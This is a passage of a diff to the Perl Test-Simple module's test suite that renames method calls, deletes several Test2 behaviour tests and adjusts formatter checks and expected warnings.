$tb->child('skippy says he loves you'); - eval { $child->$plan( skip_all => 'cuz I said so' ) }; + eval { $child->plan( skip_all => 'cuz I said so' ) }; } subtest 'skip all', sub { plan skip_all => 'subtest with skip_all'; @@ -181,13 +175,13 @@ END { #line 204 my $tb = Test::Builder::NoOutput->create; - $tb->$plan( tests => 1 ); + $tb->plan( tests => 1 ); my $child = $tb->child; - $child->$plan( tests => 1 ); + $child->plan( tests => 1 ); $child->todo_start( 'message' ); - $child->$ok( 0 ); + $child->ok( 0 ); $child->todo_end; - $child->$finalize; + $child->finalize; $tb->_ending; is $tb->read, <<"END", 'TODO tests should not make the parent test fail'; 1..1 @@ -199,9 +193,9 @@ END } { my $tb = Test::Builder::NoOutput->create; - $tb->$plan( tests => 1 ); + $tb->plan( tests => 1 ); my $child = $tb->child; - $child->$finalize; + $child->finalize; $tb->_ending; my $expected = <<"END"; 1..1 diff --git a/cpan/Test-Simple/t/Legacy/subtest/callback.t b/cpan/Test-Simple/t/Legacy/subtest/callback.t deleted file mode 100644 index 097d1bf2c0dd..000000000000 --- a/cpan/Test-Simple/t/Legacy/subtest/callback.t +++ /dev/null @@ -1,53 +0,0 @@ -#!/usr/bin/perl -w - -# What happens when a subtest dies? - -use lib 't/lib'; - -use strict; -use Test::More; -use Test::Builder; -use Test2::API; - -my $Test = Test::Builder->new; - -my $step = 0; -my @callback_calls = (); -Test2::API::test2_add_callback_pre_subtest( - sub { - $Test->is_num( - $step, - 0, - 'pre-subtest callbacks should be invoked before the subtest', - ); - ++$step; - push @callback_calls, [@_]; - }, -); - -$Test->subtest( - (my $subtest_name='some subtest'), - (my $subtest_code=sub { - $Test->is_num( - $step, - 1, - 'subtest should be run after the pre-subtest callbacks', - ); - ++$step; - }), - (my @subtest_args = (1,2,3)), -); - -is_deeply( - \@callback_calls, - [[$subtest_name,$subtest_code,@subtest_args]], - 'pre-subtest callbacks should be invoked with the expected arguments', -); - -$Test->is_num( - $step, - 2, - 'the subtest should be run', -); - -$Test->done_testing(); diff --git a/cpan/Test-Simple/t/Legacy/subtest/do.t b/cpan/Test-Simple/t/Legacy/subtest/do.t index c9efdac89260..b034893f634e 100644 --- a/cpan/Test-Simple/t/Legacy/subtest/do.t +++ b/cpan/Test-Simple/t/Legacy/subtest/do.t @@ -7,7 +7,7 @@ use Test::More; pass("First"); -my $file = "./t/Legacy/subtest/for_do_t.test"; +my $file = "t/Legacy/subtest/for_do_t.test"; ok -e $file, "subtest test file exists"; subtest $file => sub { do $file }; diff --git a/cpan/Test-Simple/t/Legacy/subtest/events.t b/cpan/Test-Simple/t/Legacy/subtest/events.t index d8470d4683e0..0fad76dde826 100644 --- a/cpan/Test-Simple/t/Legacy/subtest/events.t +++ b/cpan/Test-Simple/t/Legacy/subtest/events.t @@ -14,7 +14,7 @@ my $st = $events->[-1]; isa_ok($st, 'Test2::Event::Subtest'); ok(my $id = $st->subtest_id, "got an id"); for my $se (@{$st->subevents}) { - is($se->trace->hid, $id, "set subtest_id on child event"); + is($se->in_subtest, $id, "set subtest_id on child event"); } done_testing; diff --git a/cpan/Test-Simple/t/Legacy/subtest/fork.t b/cpan/Test-Simple/t/Legacy/subtest/fork.t index 33a8c271879b..aaa6cab877bb 100644 --- a/cpan/Test-Simple/t/Legacy/subtest/fork.t +++ b/cpan/Test-Simple/t/Legacy/subtest/fork.t @@ -1,8 +1,6 @@ #!/usr/bin/perl -w use strict; use warnings; -# HARNESS-NO-STREAM -# HARNESS-NO-PRELOAD use Test2::Util qw/CAN_FORK/; BEGIN { @@ -16,9 +14,6 @@ use IO::Pipe; use Test::Builder; use Test::More; -plan 'skip_all' => "This test cannot be run with the current formatter" - unless Test::Builder->new->{Stack}->top->format->isa('Test::Builder::Formatter'); - plan 'tests' => 1; subtest 'fork within subtest' => sub { diff --git a/cpan/Test-Simple/t/Legacy/undef.t b/cpan/Test-Simple/t/Legacy/undef.t index defc7394b669..2c8cace491ad 100644 --- a/cpan/Test-Simple/t/Legacy/undef.t +++ b/cpan/Test-Simple/t/Legacy/undef.t @@ -1,5 +1,4 @@ #!/usr/bin/perl -w -# HARNESS-NO-FORK BEGIN { if( $ENV{PERL_CORE} ) { @@ -79,18 +78,13 @@ warnings_like(qr/Use of uninitialized value.* at \(eval in cmp_ok\) $Filename li my $tb = Test::More->builder; -SKIP: { - skip("Test cannot be run with this formatter", 2) - unless $tb->{Stack}->top->format->isa('Test::Builder::Formatter'); +my $err = ''; +$tb->failure_output(\$err); +diag(undef); +$tb->reset_outputs; - my $err = ''; - $tb->failure_output(\$err); - diag(undef); - $tb->reset_outputs; - - is( $err, "# undef\n" ); - no_warnings; -} +is( $err, "# undef\n" ); +no_warnings; $tb->maybe_regex(undef); diff --git a/cpan/Test-Simple/t/Legacy/utf8.t b/cpan/Test-Simple/t/Legacy/utf8.t index 6e629d4335b9..2930226e3e9d 100644 --- a/cpan/Test-Simple/t/Legacy/utf8.t +++ b/cpan/Test-Simple/t/Legacy/utf8.t @@ -1,6 +1,4 @@ #!/usr/bin/perl -w -# HARNESS-NO-STREAM -# HARNESS-NO-PRELOAD BEGIN { if( $ENV{PERL_CORE} ) { @@ -17,7 +15,6 @@ BEGIN { # All together so Test::More sees the open discipline $have_perlio = eval q[ require PerlIO; - PerlIO->VERSION(1.02); # required for PerlIO::get_layers binmode *STDOUT, ":encoding(utf8)"; binmode *STDERR, ":encoding(utf8)"; require Test::More; @@ -26,12 +23,9 @@ BEGIN { } use Test::More; -unless (Test::Builder->new->{Stack}->top->format->isa('Test::Builder::Formatter')) { - plan skip_all => 'Test cannot be run using this formatter'; -} if( !$have_perlio ) { - plan skip_all => "Don't have PerlIO 1.02"; + plan skip_all => "Don't have PerlIO"; } else { plan tests => 5; diff --git a/cpan/Test-Simple/t/Legacy/versions.t b/cpan/Test-Simple/t/Legacy/versions.t index 3c46ee76c1bf..cb835993649d 100644 --- a/cpan/Test-Simple/t/Legacy/versions.t +++ b/cpan/Test-Simple/t/Legacy/versions.t @@ -1,5 +1,4 @@ #!/usr/bin/perl -w -# HARNESS-NO-PRELOAD # Make sure all the modules have the same version # diff --git a/cpan/Test-Simple/t/Legacy_And_Test2/builder_loaded_late.t b/cpan/Test-Simple/t/Legacy_And_Test2/builder_loaded_late.t index 1ddb70c9ba16..21c712b5e4af 100644 --- a/cpan/Test-Simple/t/Legacy_And_Test2/builder_loaded_late.t +++ b/cpan/Test-Simple/t/Legacy_And_Test2/builder_loaded_late.t @@ -1,11 +1,10 @@ use strict; use warnings; -# HARNESS-NO-PRELOAD use Test2::Tools::Tiny; -use Test2::API qw/intercept test2_stack/; +use Test2::API qw/intercept/; -plan 3; +plan 4; my @warnings; { @@ -13,7 +12,7 @@ my @warnings; require Test::Builder; }; -is(@warnings, 2, "got warnings"); +is(@warnings, 3, "got 3 warnings"); like( $warnings[0], @@ -26,3 +25,11 @@ like( qr/Formatter Test::Builder::Formatter loaded too late to be used as the global formatter/, "Got the formatter warning" ); + +like( + $warnings[2], + qr/The current formatter does not support 'no_header'/, + "Formatter does not support no_header", +); + + diff --git a/cpan/Test-Simple/t/Legacy_And_Test2/diag_event_on_ok.t b/cpan/Test-Simple/t/Legacy_And_Test2/diag_event_on_ok.t deleted file mode 100644 index ec904fbeecb2..000000000000 --- a/cpan/Test-Simple/t/Legacy_And_Test2/diag_event_on_ok.t +++ /dev/null @@ -1,21 +0,0 @@ -use strict; -use warnings; - -use Test2::Tools::Tiny; -use Test2::API qw/intercept/; -use Test::More (); - -my $events = intercept { - Test::More::ok(0, 'name'); -}; - -my ($ok, $diag) = @$events; - -ok($ok->isa('Test2::Event::Ok'), "got 'ok' result"); -is($ok->pass, 0, "'ok' test failed"); -is($ok->name, 'name', "got 'ok' name"); - -ok($diag->isa('Test2::Event::Diag'), "got 'ok' result"); -is($diag->message, " Failed test 'name'\n at $0 line 9.\n", "got all diag message in one diag event"); - -done_testing; diff --git a/cpan/Test-Simple/t/Legacy_And_Test2/preload_diag_note.t b/cpan/Test-Simple/t/Legacy_And_Test2/preload_diag_note.t deleted file mode 100644 index b5cf68be7115..000000000000 --- a/cpan/Test-Simple/t/Legacy_And_Test2/preload_diag_note.t +++ /dev/null @@ -1,42 +0,0 @@ -use strict; -use warnings; - -if ($] lt "5.008") { - print "1..0 # SKIP Test cannot run on perls below 5.8.0\n"; - exit 0; -} - -BEGIN { - require Test2::API; - Test2::API::test2_start_preload(); -} - -use Test::More; - -my ($stdout, $stderr) = ('', ''); -{ - local *STDOUT; - open(STDOUT, '>', \$stdout) or die "Could not open temp STDOUT"; - - local *STDERR; - open(STDERR, '>', \$stderr) or die "Could not open temp STDOUT"; - - diag("test\n", "diag\nfoo"); - note("test\n", "note\nbar"); -} - -Test2::API::test2_stop_preload(); - -is($stdout, <[0]->trace->nested, "main event is not inside a subtest"); +ok(!$events->[0]->in_subtest, "main event is not inside a subtest"); ok($events->[0]->subtest_id, "Got subtest id"); -is($events->[0]->subevents->[0]->trace->hid, $events->[0]->subtest_id, "nested events are in the subtest"); +ok($events->[0]->subevents->[0]->in_subtest, "nested events are in the subtest"); done_testing; diff --git a/cpan/Test-Simple/t/Test2/behavior/Subtest_todo.t b/cpan/Test-Simple/t/Test2/behavior/Subtest_todo.t index 4f3f45dfefe2..cafc712c6260 100644 --- a/cpan/Test-Simple/t/Test2/behavior/Subtest_todo.t +++ b/cpan/Test-Simple/t/Test2/behavior/Subtest_todo.t @@ -6,28 +6,24 @@ use Test2::Tools::Tiny; use Test2::API qw/run_subtest intercept/; my $events = intercept { - todo 'testing todo', sub { - run_subtest( - 'fails in todo', - sub { - ok(1, 'first passes'); - ok(0, 'second fails'); - } - ); - }; + todo 'testing todo', sub { + run_subtest( + 'fails in todo', + sub { + ok(1, 'first passes'); + ok(0, 'second fails'); + }); + }; }; ok($events->[1], 'Test2::Event::Subtest', 'subtest ran'); ok($events->[1]->effective_pass, 'Test2::Event::Subtest', 'subtest effective_pass is true'); ok($events->[1]->todo, 'testing todo', 'subtest todo is set to expected value'); - -my $subevents = $events->[1]->subevents; - -is(scalar @$subevents, 3, 'got subevents in the subtest'); - -ok($subevents->[0]->facets->{assert}->pass, 'first event passed'); - -ok(!$subevents->[1]->facets->{assert}->pass, 'second event failed'); -ok(!$subevents->[1]->causes_fail, 'second event does not cause failure'); +my @oks = grep { $_->isa('Test2::Event::Ok') } @{$events->[1]->subevents}; +is(scalar @oks, 2, 'got 2 Ok events in the subtest'); +ok($oks[0]->pass, 'first event passed'); +ok($oks[0]->effective_pass, 'first event effective_pass is true'); +ok(!$oks[1]->pass, 'second event failed'); +ok($oks[1]->effective_pass, 'second event effective_pass is true'); done_testing; diff --git a/cpan/Test-Simple/t/Test2/behavior/disable_ipc_a.t b/cpan/Test-Simple/t/Test2/behavior/disable_ipc_a.t deleted file mode 100644 index de8bf83e379a..000000000000 --- a/cpan/Test-Simple/t/Test2/behavior/disable_ipc_a.t +++ /dev/null @@ -1,11 +0,0 @@ -use strict; -use warnings; - -no Test2::IPC; -use Test2::Tools::Tiny; -use Test2::IPC::Driver::Files; - -ok(Test2::API::test2_ipc_disabled, "disabled IPC"); -ok(!Test2::API::test2_ipc, "No IPC"); - -done_testing; diff --git a/cpan/Test-Simple/t/Test2/behavior/disable_ipc_b.t b/cpan/Test-Simple/t/Test2/behavior/disable_ipc_b.t deleted file mode 100644 index e0605ba30885..000000000000 --- a/cpan/Test-Simple/t/Test2/behavior/disable_ipc_b.t +++ /dev/null @@ -1,11 +0,0 @@ -use strict; -use warnings; - -BEGIN { $ENV{T2_NO_IPC} = 1 }; -use Test2::Tools::Tiny; -use Test2::IPC::Driver::Files; - -ok(Test2::API::test2_ipc_disabled, "disabled IPC"); -ok(!Test2::API::test2_ipc, "No IPC"); - -done_testing; diff --git a/cpan/Test-Simple/t/Test2/behavior/disable_ipc_c.t b/cpan/Test-Simple/t/Test2/behavior/disable_ipc_c.t deleted file mode 100644 index 859b025eefde..000000000000 --- a/cpan/Test-Simple/t/Test2/behavior/disable_ipc_c.t +++ /dev/null @@ -1,12 +0,0 @@ -use strict; -use warnings; - -use Test2::Tools::Tiny; -use Test2::API qw/test2_ipc_disable/; -BEGIN { test2_ipc_disable() } -use Test2::IPC::Driver::Files; - -ok(Test2::API::test2_ipc_disabled, "disabled IPC"); -ok(!Test2::API::test2_ipc, "No IPC"); - -done_testing; diff --git a/cpan/Test-Simple/t/Test2/behavior/disable_ipc_d.t b/cpan/Test-Simple/t/Test2/behavior/disable_ipc_d.t deleted file mode 100644 index b9698f28cd33..000000000000 --- a/cpan/Test-Simple/t/Test2/behavior/disable_ipc_d.t +++ /dev/null @@ -1,27 +0,0 @@ -use strict; -use warnings; - -use Test2::Util qw/CAN_THREAD/; -use Test2::API qw/context/; - -BEGIN { - sub plan { - my $ctx = context(); - $ctx->plan(@_); - $ctx->release; - } - - unless (CAN_THREAD()) { - plan(0, skip_all => 'System does not have threads'); - exit 0; - } -} - -use threads; -no Test2::IPC; -use Test::More; - -ok(Test2::API::test2_ipc_disabled, "disabled IPC"); -ok(!Test2::API::test2_ipc, "No IPC"); - -done_testing; diff --git a/cpan/Test-Simple/t/Test2/behavior/init_croak.t b/cpan/Test-Simple/t/Test2/behavior/init_croak.t index bebf410b82a8..dc4928319371 100644 --- a/cpan/Test-Simple/t/Test2/behavior/init_croak.t +++ b/cpan/Test-Simple/t/Test2/behavior/init_croak.t @@ -14,8 +14,6 @@ BEGIN { } } -skip_all("known to fail on $]") if $] le "5.006002"; - $@ = ""; my ($file, $line) = (__FILE__, __LINE__ + 1); eval { my $one = Foo::Bar->new }; diff --git a/cpan/Test-Simple/t/Test2/behavior/intercept.t b/cpan/Test-Simple/t/Test2/behavior/intercept.t deleted file mode 100644 index 0d709c8b0f48..000000000000 --- a/cpan/Test-Simple/t/Test2/behavior/intercept.t +++ /dev/null @@ -1,40 +0,0 @@ -use strict; -use warnings; - -use Test2::Tools::Tiny; - -use Test2::API qw/intercept intercept_deep context run_subtest/; - -sub streamed { - my $name = shift; - my $code = shift; - - my $ctx = context(); - my $pass = run_subtest("Subtest: $name", $code, {buffered => 0}, @_); - $ctx->release; - return $pass; -} - -sub buffered { - my $name = shift; - my $code = shift; - - my $ctx = context(); - my $pass = run_subtest($name, $code, {buffered => 1}, @_); - $ctx->release; - return $pass; -} - -my $subtest = sub { ok(1, "pass") }; - -my $buffered_shallow = intercept { buffered 'buffered shallow' => $subtest }; -my $streamed_shallow = intercept { streamed 'streamed shallow' => $subtest }; -my $buffered_deep = intercept_deep { buffered 'buffered shallow' => $subtest }; -my $streamed_deep = intercept_deep { streamed 'streamed shallow' => $subtest }; - -is(@$buffered_shallow, 1, "Just got the subtest event"); -is(@$streamed_shallow, 2, "Got note, and subtest events"); -is(@$buffered_deep, 3, "Got ok, plan, and subtest events"); -is(@$streamed_deep, 4, "Got note, ok, plan, and subtest events"); - -done_testing; diff --git a/cpan/Test-Simple/t/Test2/behavior/ipc_wait_timeout.t b/cpan/Test-Simple/t/Test2/behavior/ipc_wait_timeout.t deleted file mode 100644 index 83fb1b07268e..000000000000 --- a/cpan/Test-Simple/t/Test2/behavior/ipc_wait_timeout.t +++ /dev/null @@ -1,83 +0,0 @@ -use strict; -use warnings; - -# The things done in this test can trigger a buggy return value on some -# platforms. This prevents that. The harness should catch actual failures. If -# no harness is active then we will NOT sanitize the exit value, false fails -# are better than false passes. -END { $? = 0 if $ENV{HARNESS_ACTIVE} } - -# Some platforms throw a sigpipe in this test, we can ignore it. -BEGIN { $SIG{PIPE} = 'IGNORE' } - -BEGIN { local ($@, $?, $!); eval { require threads } } -use Test2::Tools::Tiny; -use Test2::Util qw/CAN_THREAD CAN_REALLY_FORK/; -use Test2::IPC; -use Test2::API qw/test2_ipc_set_timeout test2_ipc_get_timeout/; - -my $plan = 2; -$plan += 2 if CAN_REALLY_FORK; -$plan += 2 if CAN_THREAD && threads->can('is_joinable'); -plan $plan; - -is(test2_ipc_get_timeout(), 30, "got default timeout"); -test2_ipc_set_timeout(10); -is(test2_ipc_get_timeout(), 10, "hanged the timeout"); - -if (CAN_REALLY_FORK) { - note "Testing process waiting"; - my ($ppiper, $ppipew); - pipe($ppiper, $ppipew) or die "Could not create pipe for fork"; - - my $proc = fork(); - die "Could not fork!" unless defined $proc; - - unless ($proc) { - local $SIG{ALRM} = sub { die "PROCESS TIMEOUT" }; - alarm 15; - my $ignore = <$ppiper>; - exit 0; - } - - my $exit; - my $warnings = warnings { - $exit = Test2::API::Instance::_ipc_wait(1); - }; - is($exit, 255, "Exited 255"); - like($warnings->[0], qr/Timeout waiting on child processes/, "Warned about timeout"); - print $ppipew "end\n"; - - close($ppiper); - close($ppipew); -} - -if (CAN_THREAD) { - note "Testing thread waiting"; - my ($tpiper, $tpipew); - pipe($tpiper, $tpipew) or die "Could not create pipe for threads"; - - my $thread = threads->create( - sub { - local $SIG{ALRM} = sub { die "THREAD TIMEOUT" }; - alarm 15; - my $ignore = <$tpiper>; - } - ); - - if ($thread->can('is_joinable')) { - my $exit; - my $warnings = warnings { - $exit = Test2::API::Instance::_ipc_wait(1); - }; - is($exit, 255, "Exited 255"); - like($warnings->[0], qr/Timeout waiting on child thread/, "Warned about timeout"); - } - else { - note "threads.pm is too old for a thread joining timeout :-("; - } - print $tpipew "end\n"; - - close($tpiper); - close($tpipew); -} diff --git a/cpan/Test-Simple/t/Test2/behavior/nested_context_exception.t b/cpan/Test-Simple/t/Test2/behavior/nested_context_exception.t index 0c79c8a8548c..55db247f4af5 100644 --- a/cpan/Test-Simple/t/Test2/behavior/nested_context_exception.t +++ b/cpan/Test-Simple/t/Test2/behavior/nested_context_exception.t @@ -5,8 +5,6 @@ use Test2::Tools::Tiny; use Test2::API qw/context/; -skip_all("known to fail on $]") if $] le "5.006002"; - sub outer { my $code = shift; my $ctx = context(); diff --git a/cpan/Test-Simple/t/Test2/behavior/no_load_api.t b/cpan/Test-Simple/t/Test2/behavior/no_load_api.t index 2caf67d36fd0..8e01e409ea01 100644 --- a/cpan/Test-Simple/t/Test2/behavior/no_load_api.t +++ b/cpan/Test-Simple/t/Test2/behavior/no_load_api.t @@ -1,8 +1,7 @@ +# HARNESS-NO-PRELOAD use strict; use warnings; use Data::Dumper; -# HARNESS-NO-STREAM -# HARNESS-NO-PRELOAD ############################################################################### # # @@ -29,7 +28,7 @@ require Test2::Event::Waiting; require Test2::Util; require Test2::Util::ExternalMeta; require Test2::Util::HashBase; -require Test2::EventFacet::Trace; +require Test2::Util::Trace; require Test2::Hub; require Test2::Hub::Interceptor; @@ -46,6 +45,6 @@ my @loaded = grep { $INC{$_} } qw{ require Test2::Tools::Tiny; Test2::Tools::Tiny::ok(!@loaded, "Test2::API was not loaded") - || Test2::Tools::Tiny::diag("Loaded: " . Dumper(\@loaded)); + || diag("Loaded: " . Dumper(\@loaded)); Test2::Tools::Tiny::done_testing(); diff --git a/cpan/Test-Simple/t/Test2/behavior/run_subtest_inherit.t b/cpan/Test-Simple/t/Test2/behavior/run_subtest_inherit.t index 3284c9d29eb2..5a79ee412d92 100644 --- a/cpan/Test-Simple/t/Test2/behavior/run_subtest_inherit.t +++ b/cpan/Test-Simple/t/Test2/behavior/run_subtest_inherit.t @@ -17,9 +17,9 @@ is($e->trace->line, $line, "subtest is at correct line"); my $plan = pop @{$e->subevents}; ok($plan->isa('Test2::Event::Plan'), "Removed plan"); for my $se (@{$e->subevents}) { - is($se->trace->file, $file, "subtest event is at correct file"); - is($se->trace->line, $line, "subtest event is at correct line"); - ok($se->facets->{assert}->pass, "subtest event passed"); + is($se->trace->file, $file, "subtest event ($se->{name}) is at correct file"); + is($se->trace->line, $line, "subtest event ($se->{name}) is at correct line"); + ok($se->pass, "subtest event ($se->{name}) passed"); } @@ -37,9 +37,9 @@ is($e->trace->line, $line, "subtest is at correct line"); $plan = pop @{$e->subevents}; ok($plan->isa('Test2::Event::Plan'), "Removed plan"); for my $se (@{$e->subevents}) { - ok($se->trace->file ne $file, "subtest event is not in our file"); - ok($se->trace->line ne $line, "subtest event is not on our line"); - ok($se->facets->{assert}->{pass}, "subtest event passed"); + ok($se->trace->file ne $file, "subtest event ($se->{name}) is not in our file"); + ok($se->trace->line ne $line, "subtest event ($se->{name}) is not on our line"); + ok($se->pass, "subtest event ($se->{name}) passed"); } done_testing; diff --git a/cpan/Test-Simple/t/Test2/behavior/special_names.t b/cpan/Test-Simple/t/Test2/behavior/special_names.t index 98122051ad64..4cf10e5f964b 100644 --- a/cpan/Test-Simple/t/Test2/behavior/special_names.t +++ b/cpan/Test-Simple/t/Test2/behavior/special_names.t @@ -16,8 +16,6 @@ use Test2::API qw/test2_stack/; test2_stack->top; my $temp_hub = test2_stack->new_hub(); -require Test2::Formatter::TAP; -$temp_hub->format(Test2::Formatter::TAP->new); my $ok = capture { ok(1); diff --git a/cpan/Test-Simple/t/Test2/behavior/subtest_bailout.t b/cpan/Test-Simple/t/Test2/behavior/subtest_bailout.t deleted file mode 100644 index 71a3aaa6c0b6..000000000000 --- a/cpan/Test-Simple/t/Test2/behavior/subtest_bailout.t +++ /dev/null @@ -1,39 +0,0 @@ -use Test2::Tools::Tiny; -use strict; -use warnings; - -use Test2::API qw/context run_subtest intercept/; - -sub subtest { - my ($name, $code) = @_; - my $ctx = context(); - my $pass = run_subtest($name, $code, {buffered => 1}, @_); - $ctx->release; - return $pass; -} - -sub bail { - my $ctx = context(); - $ctx->bail(@_); - $ctx->release; -} - -my $events = intercept { - subtest outer => sub { - subtest inner => sub { - bail("bye!"); - }; - }; -}; - -ok($events->[0]->isa('Test2::Event::Subtest'), "Got a subtest event when bail-out issued in a buffered subtest"); -ok($events->[-1]->isa('Test2::Event::Bail'), "Bail-Out propogated"); -ok(!$events->[-1]->facet_data->{trace}->{buffered}, "Final Bail-Out is not buffered"); - -ok($events->[0]->subevents->[-2]->isa('Test2::Event::Bail'), "Got bail out inside outer subtest"); -ok($events->[0]->subevents->[-2]->facet_data->{trace}->{buffered}, "Bail-Out is buffered"); - -ok($events->[0]->subevents->[0]->subevents->[-2]->isa('Test2::Event::Bail'), "Got bail out inside inner subtest"); -ok($events->[0]->subevents->[0]->subevents->[-2]->facet_data->{trace}->{buffered}, "Bail-Out is buffered"); - -done_testing; diff --git a/cpan/Test-Simple/t/Test2/behavior/trace_signature.t b/cpan/Test-Simple/t/Test2/behavior/trace_signature.t deleted file mode 100644 index bb3dbf9eade6..000000000000 --- a/cpan/Test-Simple/t/Test2/behavior/trace_signature.t +++ /dev/null @@ -1,44 +0,0 @@ -use strict; -use warnings; - -use Test2::Tools::Tiny; -use Test2::API qw/intercept context/; -use Test2::Util qw/get_tid/; - -my $line; -my $events = intercept { - $line = __LINE__ + 1; - ok(1, "pass"); - sub { - my $ctx = context; - $ctx->pass; - $ctx->pass; - $ctx->release; - }->(); -}; - -my $sigpass = $events->[0]->trace->signature; -my $sigfail = $events->[1]->trace->signature; - -ok($sigpass ne $sigfail, "Each tool got a new signature"); - -is($events->[$_]->trace->signature, $sigfail, "Diags share failed ok's signature") for 2 .. $#$events; - -like($sigpass, qr/^C\d+:$$:\Q${ \get_tid() }:${ \__FILE__ }:$line\E$/, "signature is sane"); - -my $trace = Test2::EventFacet::Trace->new(frame => ['main', 'foo.t', 42, 'xxx']); -is($trace->signature, undef, "No signature without a cid"); - -is($events->[0]->related($events->[1]), 0, "event 0 is not related to event 1"); -is($events->[1]->related($events->[2]), 1, "event 1 is related to event 2"); - -my $e = Test2::Event::Ok->new(pass => 1); -is($e->related($events->[0]), undef, "Cannot check relation, invalid trace"); - -$e = Test2::Event::Ok->new(pass => 1, trace => Test2::EventFacet::Trace->new(frame => ['', '', '', ''])); -is($e->related($events->[0]), undef, "Cannot check relation, incomplete trace"); - -$e = Test2::Event::Ok->new(pass => 1, trace => Test2::EventFacet::Trace->new(frame => [])); -is($e->related($events->[0]), undef, "Cannot check relation, incomplete trace"); - -done_testing; diff --git a/cpan/Test-Simple/t/Test2/behavior/uuid.t b/cpan/Test-Simple/t/Test2/behavior/uuid.t deleted file mode 100644 index c8fabf8eaacb..000000000000 --- a/cpan/Test-Simple/t/Test2/behavior/uuid.t +++ /dev/null @@ -1,78 +0,0 @@ -use Test2::Tools::Tiny; -use Test2::API qw/test2_add_uuid_via context intercept/; - -my %CNT; -test2_add_uuid_via(sub { - my $type = shift; - $CNT{$type} ||= 1; - $type . '-' . $CNT{$type}++; -}); - -my $events = intercept { - ok(1, "pass"); - - sub { - my $ctx = context(); - ok(1, "pass"); - ok(0, "fail"); - $ctx->release; - }->(); - - tests foo => sub { - ok(1, "pass"); - }; - - warnings { - require Test::More; - *subtest = \&Test::More::subtest; - }; - - subtest(foo => sub { - ok(1, "pass"); - }); -}; - -my $hub = Test2::API::test2_stack->top; -is($hub->uuid, 'hub-1', "First hub got a uuid"); - -is($events->[0]->uuid, 'event-1', "First event gets first uuid"); -is($events->[0]->trace->uuid, 'context-2', "First event has correct context"); -is($events->[0]->trace->huuid, 'hub-2', "First event has correct hub"); - -is($events->[0]->facet_data->{about}->{uuid}, "event-1", "The UUID makes it to facet data"); - -is($events->[1]->uuid, 'event-2', "Second event gets correct uuid"); -is($events->[1]->trace->uuid, 'context-3', "Second event has correct context"); -is($events->[1]->trace->huuid, 'hub-2', "Second event has correct hub"); - -is($events->[2]->uuid, 'event-3', "Third event gets correct uuid"); -is($events->[2]->trace->uuid, $events->[1]->trace->uuid, "Third event shares context with event 2"); -is($events->[2]->trace->huuid, 'hub-2', "Third event has correct hub"); - -is($events->[3]->uuid, 'event-6', "subtest event gets correct uuid (not next)"); -is($events->[3]->subtest_uuid, 'hub-3', "subtest event gets correct subtest-uuid (next hub uuid)"); -is($events->[3]->trace->uuid, 'context-4', "subtest gets next sequential context"); -is($events->[3]->trace->huuid, 'hub-2', "subtest event has correct hub"); - -is($events->[3]->subevents->[0]->uuid, 'event-4', "First subevent gets next event uuid"); -is($events->[3]->subevents->[0]->trace->uuid, 'context-5', "First subevent has correct context"); -is($events->[3]->subevents->[0]->trace->huuid, 'hub-3', "First subevent has correct hub uuid (subtest hub uuid)"); - -is($events->[3]->subevents->[1]->uuid, 'event-5', "Second subevent gets next event uuid"); -is($events->[3]->subevents->[1]->trace->uuid, $events->[3]->trace->uuid, "Second subevent has same context as subtest itself"); -is($events->[3]->subevents->[1]->trace->huuid, 'hub-3', "Second subevent has correct hub uuid (subtest hub uuid)"); - -is($events->[5]->uuid, 'event-10', "subtest event gets correct uuid (not next)"); -is($events->[5]->subtest_uuid, 'hub-4', "subtest event gets correct subtest-uuid (next hub uuid)"); -is($events->[5]->trace->uuid, 'context-8', "subtest gets next sequential context"); -is($events->[5]->trace->huuid, 'hub-2', "subtest event has correct hub"); - -is($events->[5]->subevents->[0]->uuid, 'event-8', "First subevent gets next event uuid"); -is($events->[5]->subevents->[0]->trace->uuid, 'context-10', "First subevent has correct context"); -is($events->[5]->subevents->[0]->trace->huuid, 'hub-4', "First subevent has correct hub uuid (subtest hub uuid)"); - -is($events->[5]->subevents->[1]->uuid, 'event-9', "Second subevent gets next event uuid"); -is($events->[5]->subevents->[1]->trace->uuid, $events->[5]->trace->uuid, "Second subevent has same context as subtest itself"); -is($events->[5]->subevents->[1]->trace->huuid, 'hub-2', "Second subevent has correct hub uuid (subtest hub uuid)"); - -done_testing; diff --git a/cpan/Test-Simple/t/Test2/legacy/TAP.t b/cpan/Test-Simple/t/Test2/legacy/TAP.t index bff3134681cd..e58a5ff1fbc9 100644 --- a/cpan/Test-Simple/t/Test2/legacy/TAP.t +++ b/cpan/Test-Simple/t/Test2/legacy/TAP.t @@ -12,6 +12,7 @@ use Test2::Tools::Tiny; ######################### use Test2::API qw/test2_stack context/; +use Test::Builder::Formatter; # The tools in Test2::Tools::Tiny have some intentional differences from the # Test::More versions, these behave more like Test::More which is important for @@ -52,9 +53,6 @@ sub tm_note { test2_stack->top; my $temp_hub = test2_stack->new_hub(); -require Test::Builder::Formatter; -$temp_hub->format(Test::Builder::Formatter->new); - my $diag = capture { tm_diag(undef); tm_diag(""); diff --git a/cpan/Test-Simple/t/Test2/modules/API.t b/cpan/Test-Simple/t/Test2/modules/API.t index a804cac4753c..27790aa0ba29 100644 --- a/cpan/Test-Simple/t/Test2/modules/API.t +++ b/cpan/Test-Simple/t/Test2/modules/API.t @@ -37,8 +37,6 @@ ok(Test2::API->can($_), "$_ method is present") for qw{ test2_list_post_load_callbacks test2_ipc - test2_ipc_disable - test2_ipc_disabled test2_ipc_drivers test2_ipc_add_driver test2_ipc_polling @@ -104,18 +102,11 @@ is_deeply([$CLASS->can('test2_ipc_drivers')->()], [qw/Test2::IPC::Driver::Files/ my $file = __FILE__; my $line = __LINE__ + 1; my $warnings = warnings { $CLASS->can('test2_ipc_add_driver')->('fake') }; -my $sub1 = sub { like( $warnings->[0], qr{^IPC driver fake loaded too late to be used as the global ipc driver at \Q$file\E line $line}, "got warning about adding driver too late" ); -}; -if ($] le "5.006002") { - todo("TODO known to fail on $]", $sub1); -} else { - $sub1->(); -} is_deeply([$CLASS->can('test2_ipc_drivers')->()], [qw/fake Test2::IPC::Driver::Files/], "Got updated list"); @@ -150,12 +141,6 @@ ok($CLASS->can('test2_no_wait')->(), "no_wait is set"); $CLASS->can('test2_no_wait')->(undef); ok(!$CLASS->can('test2_no_wait')->(), "no_wait is not set"); -ok($CLASS->can('test2_ipc_wait_enabled')->(), "IPC waiting enabled"); -$CLASS->can('test2_ipc_wait_disable')->(); -ok(!$CLASS->can('test2_ipc_wait_enabled')->(), "IPC waiting disabled"); -$CLASS->can('test2_ipc_wait_enable')->(); -ok($CLASS->can('test2_ipc_wait_enabled')->(), "IPC waiting enabled"); - my $pctx; sub tool_a($;$) { 